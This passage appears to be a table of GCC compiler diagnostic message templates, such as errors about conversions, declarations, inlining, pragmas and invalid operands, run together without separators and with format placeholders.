type requestedconverting %<false%> to pointer type for argument %P of %qDconverting NULL to non-pointer typeconverting from %qT to %qTconverting overloaded function %qD to type %q#T is ambiguousconverting to %qT from initializer list would use explicit constructor %qDconverting to non-pointer type %qT from NULLcorrecting inconsistent profile datacorrupted exits list of loop %dcorrupted head of the exits list of loop %dcorrupted profile info: edge from %i to %i exceeds maximal countcorrupted profile info: number of executions for edge %d-%d thought to be %icorrupted profile info: number of iterations for basic block %d thought to be %icorrupted profile info: profile data is not flow-consistentcorrupted profile info: run_max * runs < sum_maxcorrupted profile info: sum_all is smaller than sum_maxcould not close response file %scould not close temporary response file %scould not convert %qE to %qTcould not convert template argument %qE to %qTcould not find a spill registercould not find class$ field in java interface type %qTcould not find specs file %s
could not open dump file %qs: %scould not open response file %scould not open temporary response file %scould not split insncould not write to response file %scould not write to temporary response file %scouldn't determine target name for dependency trackingcouldn't run '%s': %scouldn't run '%s': %s: %scouldn't unmap pch_address_space: %mcoverage mismatch for function %qs while reading counter %qscoverage mismatch for function %u while reading execution counterscoverage mismatch ignored due to -Wcoverage-mismatchcreated and used with different ABIscreated and used with different architectures / ABIscreated and used with different endiannesscreated and used with different settings of -fpiccreated and used with different settings of -fpiecreated and used with differing settings of '%s'creating %screating array of %qTcreating array of %qT, which is an abstract class typecreating array with negative size (%qE)creating pointer to member function of non-class type %qTcreating pointer to member of non-class type %qTcreating pointer to member of type voidcreating pointer to member reference type %qTcritical region may not be nested inside a critical region with the same namecurrent namespace %qD does not enclose strongly used namespace %qDdata area of %q+D conflicts with previous declarationdata declarationdata definition has no type or storage classdata member %qD cannot be a member templatedata member may not have variably modified type %qTdata type of %q+D isn%'t suitable for a registerdebug format "%s" conflicts with prior selectiondebug output level %s is too highdebug: decimal floating point not supported for this targetdeclaration %qD does not declare anythingdeclaration does not declare anythingdeclaration for parameter %q+D but no such parameterdeclaration of %<extern%> variable %q+D in %<for%> loop initial declarationdeclaration of %q#Ddeclaration of %q#D has %<extern%> and is initializeddeclaration of %q#D has no initializerdeclaration of %q#D outside of class is not definitiondeclaration of %q#D shadows a parameterdeclaration of %q#D with C language linkagedeclaration of %q+#Ddeclaration of %q+D shadows a built-in functiondeclaration of %q+D shadows a global declarationdeclaration of %q+D shadows a parameterdeclaration of %q+D shadows a previous localdeclaration of %q+D shadows previous non-variabledeclaration of %q+D with attribute noinline follows inline declaration declaration of %q+D with no linkage follows extern declarationdeclaration of %qD as %sdeclaration of %qD as member of %qTdeclaration of %qD as multidimensional array must have bounds for all dimensions except the firstdeclaration of %qD as non-functiondeclaration of %qD as non-memberdeclaration of %qD not in a namespace surrounding %qDdeclaration of %qD shadows a global declarationdeclaration of %qD shadows a member of 'this'declaration of %qD shadows a previous localdeclaration of %qF throws different exceptionsdeclaration of %qs as array of functionsdeclaration of %qs as array of voidsdeclaration of C function %q#D conflicts withdeclaration of namespace %qD conflicts withdeclaration of non-variable %q+D in %<for%> loop initial declarationdeclaration of static variable %q+D in %<for%> loop initial declarationdeclaration of template %q#Ddeclarator-id missing; using reserved word %qDdecrement of pointer to unknown structuredecrement of read-only location %qEdecrement of read-only member %qDdecrement of read-only variable %qDdeducing auto from brace-enclosed initializer list requires #include <initializer_list>default argument %qE uses local variable %qDdefault argument for %q#D has type %qTdefault argument for parameter of type %qT has type %qTdefault argument given for parameter %d of %q#Ddefault argument mismatch in overload resolutiondefault argument missing for parameter %P of %q+#Ddefault argument specified in explicit specializationdefault arguments are not allowed in declaration of friend template specialization %qDdefining explicit specialization %qD in friend declarationdefinition in block %i does not dominate use in block %idefinition in block %i follows the usedefinition of %q#D is marked %<dllimport%>definition of %q#T inside template parameter listdefinition of %qD is not in namespace enclosing %qTdefinition of implicitly-declared %qDdefinition of static data member %q+D of dllimport'd classdefinition provided for explicit instantiationdeleted definition of %qDdeleted function %q+Ddeleting %qT is undefineddeleting array %q#Ddependent-name %qE is parsed as a non-type, but instantiation yields a typedeprecated conversion from string constant to %qTdeprecated covariant return type for %q+#Ddeprecated use of default argument for parameter of non-functiondereferenced pointers should have a name or a symbol tagdereferencing %<void *%> pointerdereferencing pointer %qD does break strict-aliasing rulesdereferencing pointer to incomplete typedereferencing type-punned pointer might break strict-aliasing rulesdereferencing type-punned pointer will break strict-aliasing rulesderived type declarationderived union %qT invaliddestructor %qD declared as member templatedestructor cannot be static member functiondestructor for %qs shall not be run eitherdestructor for alien class %qT cannot be a memberdestructor priorities are not supporteddestructor priorities from 0 to %d are reserved for the implementationdestructor priorities must be integers from 0 to %d inclusivedestructors may not be cv-qualifieddestructors may not have parametersdirect base %qT inaccessible in %qT due to ambiguitydistinct Objective-C type in returndivision by zerodoes not support multilibdominator of %d should be %d, not %ddominator of %d status unknowndue to different exception specificationsduplicate %<const%>duplicate %<restrict%>duplicate %<volatile%>duplicate %qEduplicate (or overlapping) case valueduplicate ConstantValue attribute for field '%s'duplicate asm operand name %qsduplicate base type %qT invalidduplicate case valueduplicate declaration for protocol %qsduplicate declaration of method %<%c%s%>duplicate explicit instantiation of %q#Dduplicate explicit instantiation of %q#Tduplicate initialization of %qDduplicate interface declaration for category %<%s(%s)%>duplicate interface declaration for class %qsduplicate label %qDduplicate label declaration %qEduplicate member %q+Dduplicated initializerdynamic dependency %s not founddynamic_cast of %q#D to %q#T can never succeededge %s->%s has no corresponding call_stmtedge from %d to %d should be marked irreducibleedge from %d to %d should not be marked irreducibleedge points to wrong declaration:elemental binary operationelemental function arguments at %C are not compliantelemental procedureelements of array %q#D have incomplete typeelements of array %q#T have incomplete typeembedded %<\0%> in formatemitting PIC operand, but PIC register isn't set upemitting conditional microcode insn %s	[%s] #%demitting microcode insn %s	[%s] #%dempty declarationempty declaration with storage class specifier does not redeclare tagempty declaration with type qualifier does not redeclare tagempty index range in initializerempty left precision in %s formatempty precision in %s formatempty range specifiedempty scalar initializerenabling backtrace support is only meaningful when compiling for the Thumbenabling callee interworking support is only meaningful when compiling for the Thumbenabling caller interworking support is only meaningful when compiling for the Thumbenclosing class templates are not explicitly specializedend insn %d for block %d not found in the insn streamenumeral and non-enumeral type in conditional expressionenumeral mismatch in conditional expression: %qT vs %qTenumeration values exceed range of largest integerenumerator value %E is too large for underlying type %<%T%>enumerator value for %qD is not an integer constantenumerator value for %qE is not an integer constantenvironment variable "%s" not definedenvironment variable DJGPP not definedenvironment variable DJGPP points to corrupt file '%s'environment variable DJGPP points to missing file '%s'error closing %s: %merror in args to spec function '%s'error in constant pool entry #%d
error while parsing constant poolerror while parsing constant pool
error while parsing fieldserror while parsing fields
error while parsing final attributeserror while parsing final attributes
error while parsing methodserror while parsing methods
error while reading %s from zip fileerror writing %qserror writing to %s: %merror: exception handling disabled, use -fexceptions to enableexception of type %<%T%> will be caughtexcess elements in array initializerexcess elements in char array initializerexcess elements in scalar initializerexcess elements in struct initializerexcess elements in union initializerexcess elements in vector initializerexecution counts estimatedexpand_binop failed in movsi gotexpansion pattern %<%E%> contains no argument packsexpansion pattern %<%T%> contains no argument packsexpected %<#pragma omp section%> or %<}%>expected %<#pragma omp%> clauseexpected %<(%>expected %<(%> or end of lineexpected %<+%>, %<*%>, %<-%>, %<&%>, %<^%>, %<|%>, %<&&%>, or %<||%>expected %<,%> or %<;%>expected %<,%> or %<}%>expected %<,%>, %<;%> or %<}%>expected %<:%> or %<...%>expected %<:%>, %<,%>, %<;%>, %<}%> or %<__attribute__%>expected %<;%>expected %<=%>expected %<=%>, %<,%>, %<;%>, %<asm%> or %<__attribute__%>expected %<none%> or %<shared%>expected %<{%>expected %<}%> before %<else%>expected %d levels of template parms for %q#D, got %dexpected %qT but argument is of type %qTexpected [error|warning|ignored] after %<#pragma GCC diagnostic%>expected a string after %<#pragma message%>expected an SSA_NAME objectexpected class nameexpected declaration or statementexpected declaration specifiersexpected declaration specifiers or %<...%>expected expressionexpected identifierexpected identifier or %<(%>expected identifier or %<*%>expected integer expressionexpected iteration declaration or initializationexpected qualified name in friend declaration for constructor %qDexpected qualified name in friend declaration for destructor %qDexpected specifier-qualifier-listexpected statementexpected string literalexpense of call operation relative to ordinary arithmetic operationsexplicit goto at end of bb %dexplicit instantiation of %q#Dexplicit instantiation of %q#T before definition of templateexplicit instantiation of %qD but no definition availableexplicit instantiation of %qD in namespace %qD (which does not enclose namespace %qD)explicit instantiation of non-template %q#Dexplicit instantiation of non-template type %qTexplicit qualification in declaration of %qDexplicit specialization in non-namespace scope %qDexplicit specialization of %qD after first useexplicit specialization of %qD must be introduced by %<template <>%>explicit specialization of non-template %qTexpr in !$OMP ATOMIC assignment var = var op expr must be scalar and cannot reference var at %Lexpression %qE of abstract class type %qT cannot be used in throw-expressionexpression statement has incomplete typeextended registers have no high halvesextern declaration of %q#D doesn't matchextern declaration of %q+D follows declaration with no linkageexternal linkage required for symbol %q+D because of %qs attributeextra %<;%>extra brace group at end of initializerextra elements in scalar initializerextra outgoing edge %d->%dextra qualification %<%T::%> on member %qsextra semicolon in method definition specifiedextra semicolon in struct or union specifiedextra type qualifiers in format argument (argument %d)extraneous argument to '%s' optionfailed to find class '%s'failed to get exit statusfailed to get process timesfailed to reclaim unneeded functionfailure in redeclaration of %q+D: dllimport'd symbol lacks external linkagefailure to simplify substring reference in DATA statement at %Lfallthru edge after a control statement in bb %dfallthru edge after unconditional jump %ifallthru edge crosses section boundary (bb %i)fallthru to exit from bb %dfastcall and cdecl attributes are not compatiblefastcall and regparm attributes are not compatiblefastcall and stdcall attributes are not compatiblefatal error: fclose %sfield %q+#D with same name as classfield %q+D invalidly declared function typefield %q+D invalidly declared method typefield %qD has incomplete typefield %qs declared as a functionfield %qs has incomplete typefield %qs not foundfield initializer is not constantfield name not in record or union initializerfield precisionfield widthfield width in printf formatfield width in scanf formatfield width in strfmon formatfield width in strftime formatfile-scope declaration of %qs specifies %<auto%>file-scope declaration of %qs specifies %<register%>fill characterfill character in strfmon formatfind_enum(): Enum not foundfini function found in object %sfirst argument of %q+D should be %<int%>first argument to %<__builtin_choose_expr%> not a constantfirst argument to %<va_arg%> not of type %<va_list%>fix_sched_param: unknown param: %sfixed-point overflow in expressionfixed-point types not supported for this targetfloating constant exceeds range of %qTfloating constant misusedfloating constant truncated to zerofloating point constant not a valid immediate operandfloating point overflow in expressionflow control insn inside a basic blockfold check: original tree changed by foldfopen %sfor statement expectedfor template declaration %q+Dformat %q.*s expects type %<%T%s%>, but argument %d has type %qTformat %q.*s expects type %<%s%s%>, but argument %d has type %qTformat argument %d unused before used argument %d in $-style formatformat argument %d used more than once in %s formatformat is a wide character stringformat not a string literal and no format argumentsformat not a string literal, argument types not checkedformat not a string literal, format string not checkedformat string argument follows the args to be formattedformat string argument not a string typeformat string has invalid operand numberforming %s to reference type %qTforming reference to voidfound %<-%s%> instead of %<+%s%> in protocol(s)found a default name with a non-empty defining statementfound a real definition for a non-registerfound a virtual definition for a GIMPLE registerfound an SSA_NAME that had been released into the free poolfound default case not at the start of case vectorfp software completion requires -mtrap-precision=ifr30_print_operand: invalid %%F codefr30_print_operand: invalid %%x codefr30_print_operand: invalid operand to %%A codefr30_print_operand: unhandled MEMfr30_print_operand: unknown codefr30_print_operand: unrecognized %%B codefr30_print_operand: unrecognized %%b codefr30_print_operand: unrecognized %%p codefr30_print_operand_address: unhandled addressframe size of %qs is frame size of function %qs is frame size too large for reliable stack checkingfriend declaration %q#D declares a non-template functionfriend declaration %qD in local class without prior declarationfriend declaration not in class definitionfriend declaration requires class-key, i.e. %<friend %#T%>friend declaration requires class-key, i.e. %<friend class %T::%D%>from previous declaration %q+Ffrom this locationfrv_print_operand: unknown codefunction %q#D is initialized like a variablefunction %q+D definition is marked dllimportfunction %q+D is defined after prior declaration as dllimport: attribute ignoredfunction %q+D redeclared as inlinefunction %q+D redeclared with attribute noinlinefunction %q+F can never be inlined because it contains a computed gotofunction %q+F can never be inlined because it is suppressed using -fno-inlinefunction %q+F can never be inlined because it receives a non-local gotofunction %q+F can never be inlined because it saves address of local label in a static variablefunction %q+F can never be inlined because it uses __builtin_return or __builtin_apply_argsfunction %q+F can never be inlined because it uses alloca (override using the always_inline attribute)function %q+F can never be inlined because it uses attributes conflicting with inliningfunction %q+F can never be inlined because it uses non-local gotofunction %q+F can never be inlined because it uses setjmpfunction %q+F can never be inlined because it uses setjmp-longjmp exception handlingfunction %q+F can never be inlined because it uses variable argument listsfunction %q+F can never be inlined because it uses variable sized variablesfunction %qD declared virtual inside a unionfunction %qD is initialized like a variablefunction %qs cannot be declared %<mutable%>function body not availablefunction call has aggregate valuefunction called through a non-compatible typefunction declaration isn%'t a prototypefunction declared %<noreturn%> has a %<return%> statementfunction definition declared %<__thread%>function definition declared %<auto%>function definition declared %<register%>function definition declared %<typedef%>function definition does not declare parametersfunction definition has qualified void return typefunction does not return string typefunction might be possible candidate for %qs format attributefunction not considered for inliningfunction not declared inline and code size would growfunction not inlinablefunction not inline candidatefunction return type cannot be functionfunction return types not compatible due to %<volatile%>function returning a functionfunction returning an arrayfunction returns address of local variablefunction returns an aggregatefunction template partial specialization %qD is not allowedfunction types not truly compatible in ISO Cfunction-scope %qs implicitly auto and declared %<__thread%>function_profiler supportfunction_profiler support for MMIXgcc driver version %s %sexecuting gcc version %s
gcc version %s %s
gcov %s%s
generic CPU can be used only for %stune=%s %sgeneric thunk code fails for method %q#D which uses %<...%>getting core file size maximum limit: %mgfc_conv_constant_to_tree(): invalid type: %sgfc_trans_code(): Bad statement codegfortran does not support -E without -cppgfortran: Only one -J option allowedgimple check: expected %s(%s), have %s(%s) in %s, at %s:%dgimple_bb (phi) is set to a wrong basic blockgimple_bb (stmt) is set to a wrong basic blockgimplification failedglobal constructors not supported on this targetglobal declaration %q+#Dglobal destructors not supported on this targetglobal register variable %qD used in nested functionglobal register variable %qs used in nested functionglobal register variable follows a function definitionglobal register variable has initial valueglobal/static variable assignment has been interceptedgot %d template parameters for %q#Dgot %d template parameters for %q#Tgoto destination is neither a label nor a pointergp is constant (but save/restore gp on indirect calls)gp_offset (%ld) or end_offset (%ld) is less than zerohad to relocate PCHhard-float MIPS16 code for ABIs other than o32 and o64head insn %d for block %d not found in the insn streamhow much can given compilation unit grow because of the inlining (in percent)how much can given compilation unit grow because of the interprocedural constant propagation (in percent)iWMMXt and hardware floating pointia64_print_operand: unknown codeidentifier %<%s%> will become a keyword in C++0xidentifier %qs conflicts with C++ keywordif this code is reached, the program will abortignoring %<#pragma align%> for explicitly aligned %q+Dignoring %qV qualifiers added to function type %qTignoring -fschedule-insns because of exception handling bugignoring asm-specifier for non-static local variable %q+Dignoring attributes applied to %qT after definitionignoring attributes applied to class type %qT outside of definitionignoring attributes applied to dependent type %qT without an associated declarationignoring duplicate directory "%s"
ignoring malformed #pragma longcallignoring nonexistent directory "%s"
ignoring packed attribute because of unpacked non-POD field %q+#Dignoring unknown option %q.*s in %<-fdump-%s%>illegal aggregate type %qs specified for instance variable %qsillegal reference type specified for instance variable %qsimplicit declaration of function %qEimplicitly popped regs must be grouped at top of stackimplied END DOimpossible constraint in %<asm%>impossible register constraint in %<asm%>in %s, at %s:%din C++98 %qD must be initialized by constructor, not by %<{...}%>in basic block %d:in declaration %q+Din passing argument %P of %q+Din statementinappropriate accumulator for %qsincoming edge count does not match number of PHI argumentsincompatible implicit declaration of built-in function %qDincompatible implicit declaration of function %qDincompatible type for argument %d of %qEincompatible types in assignment of %qT to %qTincompatible types when assigning to type %qT from type %qTincompatible types when initializing type %qT using type %qTincompatible types when returning type %qT but %qT was expectedincomplete '%s' optionincomplete implementation of category %qsincomplete implementation of class %qsincomplete type %qT does not have member %qDincomplete type %qT not allowedinconsistent instance variable specificationinconsistent operand constraints in an %<asm%>incorrect entry in label_to_block_map.
incorrect insn:incorrect sharing of tree nodesincrement of pointer to unknown structureincrement of read-only location %qEincrement of read-only member %qDincrement of read-only variable %qDindex in dimension %d is out of bounds at %Lindex value instead of field name in union initializerinit function found in object %sinitialization discards qualifiers from pointer target typeinitialization from distinct Objective-C typeinitialization from incompatible pointer typeinitialization left-hand side might be a candidate for a format attributeinitialization makes integer from pointer without a castinitialization makes pointer from integer without a castinitialization makes qualified function pointer from unqualifiedinitialization of a flexible array memberinitialization of flexible array member in a nested contextinitialization string truncated to match variable at %Linitialized field overwritteninitialized field with side-effects overwritteninitialized from %qEinitialized from hereinitialized variable %q+D is marked dllimportinitializer element is not computable at load timeinitializer element is not constantinitializer ends prematurelyinitializer fails to determine size of %q+Dinitializer fails to determine size of %qDinitializer for %qT must be brace-enclosedinitializer for floating value is not a floating constantinitializer for integer/fixed-point value is too complicatedinitializer invalid for static member with constructorinitializer specified for non-virtual method %q+Dinitializer specified for static member function %qDinitializer-string for array of chars is too longinline code to invalidate instruction cache entries after setting up nested function trampolinesinline declaration of %qD follows declaration with attribute noinlineinline function %q+D cannot be declared weakinline function %q+D declared as  dllimport: attribute ignoredinline function %q+D declared but never definedinline function %q+D given attribute noinlineinline function %q+D is declared as dllimport: attribute ignoredinline function %q+D used but never definedinlined_to pointer is set but no predecessors foundinlined_to pointer is wronginlined_to pointer refers to itselfinlined_to pointer set for noninline callersinlining failed in call to %q+F: %sinput operand constraint contains %qcinsn %d basic block pointer is %d, should be %dinsn %d in footer of bb %d has non-NULL basic blockinsn %d in header of bb %d has non-NULL basic blockinsn %d inside basic block %d but block_for_insn is %iinsn %d inside basic block %d but block_for_insn is NULLinsn %d is in multiple basic blocks (%d and %d)insn %d outside of basic blocks has non-NULL bb fieldinsn does not satisfy its constraints:insn outside basic blockinstall: %s%s
instance variable %qs accessed in class methodinstance variable %qs has unknown sizeinstance variable %qs is %s; this will be a hard error in the futureinstance variable %qs is declared %sinstance variable %qs is declared privateinstance variable assignment has been interceptedinstantiation of %q+D as type %qTinstruction never executedinstruction scheduling not supported on this target machineinsufficient arguments to overloaded function %sint-array initialized from incompatible wide stringint-array initialized from non-wide stringinteger constant is too large for %qs typeinteger kind=8 not available for -fdefault-integer-8 optioninteger overflow in expressionintegral expression %qE is not constantintegral result type precision does not match field size of BIT_FIELD_REFinter-module optimizations not implemented for C++interface %qs does not have valid constant string layoutinternal and protected visibility attributes not supported in this configuration; ignoredinternal compiler error.  Bad address:internal compiler error.  Incorrect shift:internal compiler error.  Unknown mode:internal compiler error: internal consistency failureinternal error - invalid Utf8 nameinternal error: bad register: %dinternal error: cris_side_effect_mode_ok with bad operandsinternal error: sideeffect-insn affecting main effectinternal gcc abort in %s, at %s:%dinterrupt Service Routines cannot be coded in Thumb modeinterrupt_thread is available only on fidointrinsic variable which isn't a procedureinvalid #pragma %sinvalid %%-codeinvalid %%A operandinvalid %%B operandinvalid %%C valueinvalid %%D valueinvalid %%E valueinvalid %%F valueinvalid %%G valueinvalid %%H valueinvalid %%J codeinvalid %%J valueinvalid %%K valueinvalid %%L valueinvalid %%M valueinvalid %%N valueinvalid %%O valueinvalid %%P operandinvalid %%P valueinvalid %%R valueinvalid %%S valueinvalid %%T valueinvalid %%U valueinvalid %%Y operandinvalid %%c operandinvalid %%d operandinvalid %%d valueinvalid %%f operandinvalid %%f valueinvalid %%h valueinvalid %%j codeinvalid %%j valueinvalid %%k valueinvalid %%m valueinvalid %%p valueinvalid %%q valueinvalid %%r valueinvalid %%s operandinvalid %%s valueinvalid %%t/%%b valueinvalid %%u valueinvalid %%v valueinvalid %%x valueinvalid %%xn codeinvalid %%y value, try using the 'Z' constraintinvalid 'asm': invalid (pointer) operands to plus/minusinvalid --param value %qsinvalid ABI option: -mabi=%sinvalid AE type specified (%s)
invalid GIMPLE statementinvalid IACC argumentinvalid LHS in gimple callinvalid PC in line number tableinvalid UNSPEC as operandinvalid Z register replacement for insninvalid abstract return type for function %q+#Dinvalid abstract return type for member function %q+#Dinvalid abstract type %qT for %qEinvalid abstract type for %q+Dinvalid access to non-static data member %qD  of NULL objectinvalid access to non-static data member %qD of NULL objectinvalid addressinvalid alignment for %<#pragma align%>, ignoringinvalid application of %<__alignof%> to a bit-fieldinvalid application of %<sizeof%> to a bit-fieldinvalid application of %<sizeof%> to a function typeinvalid application of %qs to a member functioninvalid application of %qs to a void typeinvalid application of %qs to incomplete type %qT invalid argument %qs to -fdebug-prefix-mapinvalid argument of %qs attributeinvalid argument to %<__builtin_frame_address%>invalid argument to %<__builtin_return_address%>invalid argument to built-in functioninvalid array assignmentinvalid base-class specificationinvalid branch to/from an OpenMP structured blockinvalid cast from type %qT to type %qTinvalid cast of an rvalue expression of type %qT to type %qTinvalid cast to function type %qTinvalid conditional operandinvalid const_cast from type %qT to type %qTinvalid const_cast of an rvalue of type %qT to type %qTinvalid const_double operandinvalid constant in %<#pragma pack%> - ignoredinvalid constant in %<#pragma pop_macro%> - ignoredinvalid constant in %<#pragma push_macro%> - ignoredinvalid constraints for operandinvalid constructor; you probably meant %<%T (const %T&)%>invalid controlling predicateinvalid conversion from %<__fpreg%>invalid conversion from %qT to %qTinvalid conversion in gimple callinvalid conversion in return statementinvalid conversion to %<__fpreg%>invalid conversion to type %qT from type %qTinvalid covariant return type for %q+#Dinvalid default argument for a template template parameterinvalid definition of qualified type %qTinvalid entry to OpenMP structured blockinvalid exit from OpenMP structured blockinvalid expression as operandinvalid expression for min lvalueinvalid expression type for %<#pragma omp atomic%>invalid floating point abi: -mfloat-abi=%sinvalid floating point emulation option: -mfpe=%sinvalid floating point option: -mfpu=%sinvalid function declarationinvalid function in call statementinvalid in-class initialization of static data member of non-integral type %qTinvalid increment expressioninvalid initial value for member %qsinvalid initialization of non-const reference of type %qT from a temporary of type %qTinvalid initialization of reference of type %qT from expression of type %qTinvalid initializerinvalid insn:invalid lvalue in asm output %dinvalid maskinvalid member function declarationinvalid member template declaration %qDinvalid operand code '%c'invalid operand for 'A' modifierinvalid operand for 'D' modifierinvalid operand for 'H' modifierinvalid operand for 'O' modifierinvalid operand for 'T' modifierinvalid operand for 'b' modifierinvalid operand for 'e' modifierinvalid operand for 'm' modifierinvalid operand for 'o' modifierinvalid operand for 'p' modifierinvalid operand for 'z' modifierinvalid operand for code '%c'invalid operand for code: '%c'invalid operand in indirect referenceinvalid operand in return statementinvalid operand in the instructioninvalid operand in unary expressioninvalid operand in unary operationinvalid operand modifier letterinvalid operand output codeinvalid operand to %%H/%%L codeinvalid operand to %%N codeinvalid operand to %%Rinvalid operand to %%R codeinvalid operand to %%Sinvalid operand to %%T/%%B codeinvalid operand to %%U codeinvalid operand to %%V codeinvalid operand to %%p codeinvalid operand to %%s codeinvalid operand to plus/minus, type is a pointerinvalid operand to pointer plus, first operand is not a pointerinvalid operand to pointer plus, second operand is not an integer with type of sizetype.invalid operand to switch statementinvalid operands in binary operationinvalid operands in gimple comparisoninvalid operands of types %qT and %qT to binary %qOinvalid operands to array referenceinvalid operands to binary %s (have %qT and %qT)invalid operation on %<__fpreg%>invalid operator for %<#pragma omp atomic%>invalid option argument %qsinvalid option for -mfloat-gprs: '%s'invalid parameter %qsinvalid parameter combination for AltiVec intrinsicinvalid parameter type %qTinvalid pointer mode %qsinvalid pointer to bit-field %qDinvalid position or size operand to BIT_FIELD_REFinvalid punctuation %qc in constraintinvalid pure const state for functioninvalid qualifiers on non-member function typeinvalid qualifying scope in pseudo-destructor nameinvalid receiver type %qsinvalid redeclaration of %q+Dinvalid reference prefixinvalid register in the instructioninvalid register in the move instructioninvalid register name for %q+Dinvalid rhs for gimple memory storeinvalid rotate insninvalid rtl sharing found in the insninvalid schedule kindinvalid second argument to %<__builtin_prefetch%>; using zeroinvalid shift operandinvalid static_cast from type %qT to type %qTinvalid storage class for function %qsinvalid target memregs value '%d'invalid template declaration of %qDinvalid third argument to %<__builtin_prefetch%>; using zeroinvalid thread pointer option: -mtp=%sinvalid type %<void%> for newinvalid type %qT as initializer for a vector of type %qTinvalid type %qT declared %<friend%>invalid type argumentinvalid type argument of %qsinvalid type argument of %qs (have %qT)invalid type for iteration variable %qEinvalid types %<%T[%T]%> for array subscriptinvalid types in conversion to floating pointinvalid types in conversion to integerinvalid types in fixed-point conversioninvalid types in nop conversioninvalid use of %%d, %%x, or %%Xinvalid use of %<::%>invalid use of %<auto%>invalid use of %<auto%> in conversion operatorinvalid use of %<restrict%>invalid use of %<this%> at top levelinvalid use of %<this%> in non-member functioninvalid use of %qDinvalid use of %qE to form a pointer-to-member-functioninvalid use of %qs on pointer to memberinvalid use of '%%%c'invalid use of ':' modifierinvalid use of Boolean expression as operand to %<operator--%>invalid use of a pointer to an incomplete type in pointer arithmeticinvalid use of array with unspecified boundsinvalid use of const_cast with type %qT, which is a pointer or reference to a function typeinvalid use of const_cast with type %qT, which is not a pointer, reference, nor a pointer-to-data-member typeinvalid use of flexible array memberinvalid use of incomplete typedef %qDinvalid use of member %q+D in static member functioninvalid use of non-lvalue arrayinvalid use of non-static data member %q+Dinvalid use of non-static data member %qDinvalid use of non-static member functioninvalid use of non-static member function %qDinvalid use of nonstatic data member %qEinvalid use of pack expansion expressioninvalid use of qualified-name %<%D::%D%>invalid use of qualified-name %<%T::%D%>invalid use of qualified-name %<::%D%>invalid use of structure with flexible array memberinvalid use of template-id %qD in declaration of primary templateinvalid use of type %qT as a default value for a template template-parameterinvalid use of undefined type %<%s %E%>invalid use of void expressioninvalid value-initialization of reference typesinvalid vector type for attribute %qEinvalid version number `%s'invoke[non-static] on static methodinvokestatic on abstract methodinvokestatic on non static methodit must be the address of a function with external linkageiteration variable %qD should not be firstprivateiteration variable %qD should not be reductioniteration variable %qs should be privateiteration variable %qs should not be firstprivateiteration variable %qs should not be reductioniterator end at %L does not simplifyiterator start at %L does not simplifyiterator step at %L does not simplifyits dest_idx should be %d, not %dits scope is only this definition or declaration, which is probably not what you wantiwmmxt abi requires an iwmmxt capable cpuiwmmxt requires an AAPCS compatible ABI for proper operationjcf-dump: no classes specified
jump bypassing disabledjump into scope of identifier with variably modified typejump into statement expressionjump to case labeljump to label %q+Djump to label %qDjunk at end of #pragma %sjunk at end of #pragma GCC java_exceptionsjunk at end of #pragma GCC memregs [0..16]junk at end of #pragma ghs endsdajunk at end of #pragma ghs endtdajunk at end of #pragma ghs endzdajunk at end of #pragma ghs interruptjunk at end of #pragma ghs sectionjunk at end of #pragma ghs startsdajunk at end of #pragma ghs starttdajunk at end of #pragma ghs startzdajunk at end of #pragma longcalljunk at end of %<#pragma GCC visibility%>junk at end of %<#pragma align%>junk at end of %<#pragma extern_prefix%>junk at end of %<#pragma fini%>junk at end of %<#pragma init%>junk at end of %<#pragma message%>junk at end of %<#pragma pack%>junk at end of %<#pragma pop_macro%>junk at end of %<#pragma pop_options%>junk at end of %<#pragma push_macro%>junk at end of %<#pragma push_options%>junk at end of %<#pragma redefine_extname%>junk at end of %<#pragma reset_options%>junk at end of %<#pragma weak%>junk at end of '#pragma ms_struct'junk at end of '#pragma options'junk at end of '#pragma unused'junk at end of signature stringkeyword %<export%> not implemented, and will be ignoredlabel label %q+D declared but not definedlabel %q+D defined but not usedlabel %q+D used but not definedlabel %qE referenced outside of any functionlabel at end of compound statementlabel named wchar_tlang_* check: failed in %s, at %s:%dlanguage %s not recognizedlanguage string %<"%E"%> not recognizedlarge fixed-point constant implicitly truncated to fixed-point typelarge integer implicitly truncated to unsigned typelast argument must be an immediatelayout of classes derived from empty class %qT may change in a future version of GCCld returned %d exit statusleft precisionleft precision in strfmon formatleft rotate count >= width of typeleft rotate count is negativeleft shift count >= width of typeleft shift count is negativeleft-hand operand of comma expression has no effectlength modifierlength modifier in printf formatlength modifier in scanf formatlength modifier in strfmon formatlibraries: %s
library function %q#D redeclared as non-function %q#Dlibrary lib%s not foundlo_sum not of registerlocal class %q#T shall not have static data member %q#Dlocal declaration of %qs hides instance variablelocal variable memory requirements exceed capacitylogical %<%s%> with non-zero constant will always evaluate as truelong long constant not a valid immediate operandlong, short, signed or unsigned used invalidly for %qsloop %d's header does not belong directly to itloop %d's header does not have exactly 2 entriesloop %d's latch does not belong directly to itloop %d's latch does not have exactly 1 successorloop %d's latch does not have header as successorloop %d's latch is marked as part of irreducible regionlooser throw specifier for %q+#Flower value in case label range less than minimum value for typelvalue required as decrement operandlvalue required as increment operandlvalue required as left operand of assignmentlvalue required as unary %<&%> operandlvalue required in asm statementmacro name missing after %qsmaking %qD staticmalformed #pragma GCC visibility pushmalformed #pragma builtinmalformed #pragma extern_prefix, ignoredmalformed #pragma ghs sectionmalformed #pragma redefine_extname, ignoredmalformed #pragma weak, ignoredmalformed %<#pragma align%>malformed %<#pragma align%>, ignoringmalformed %<#pragma fini%>malformed %<#pragma fini%>, ignoringmalformed %<#pragma init%>malformed %<#pragma init%>, ignoringmalformed %<#pragma message%>, ignoredmalformed %<#pragma pack%> - ignoredmalformed %<#pragma pack(pop[, id])%> - ignoredmalformed %<#pragma pack(push[, id][, <n>])%> - ignoredmalformed '#pragma ms_struct {on|off|reset}', ignoringmalformed '#pragma ms_struct', ignoringmalformed '#pragma options align={mac68k|power|reset}', ignoringmalformed '#pragma options', ignoringmalformed spec function argumentsmalformed spec function namemangling %Cmangling new-expressionmangling typeof, use decltype insteadmangling unknown fixed point typemask must be an immediatemaster region may not be closely nested inside of work-sharing or explicit task regionmatching constraint does not allow a registermatching constraint not valid in output operandmatching constraint references invalid operand numbermax basic blocks number in loop for loop invariant motionmax loops number for regional RAmax size of conflict table in MBmaximum value of parameter %qs is %umay not use both -EB and -ELmay not use both -m32 and -m64media functions are not available unless -mmedia is usedmember %q+#D with constructor not allowed in anonymous aggregatemember %q+#D with constructor not allowed in unionmember %q+#D with copy assignment operator not allowed in anonymous aggregatemember %q+#D with copy assignment operator not allowed in unionmember %q+#D with destructor not allowed in anonymous aggregatemember %q+#D with destructor not allowed in unionmember %qD cannot be declared both virtual and staticmember %qD conflicts with virtual function table field namemember %qD declared as friend before type %qT definedmember %qD is uninitialized referencemember %qD with 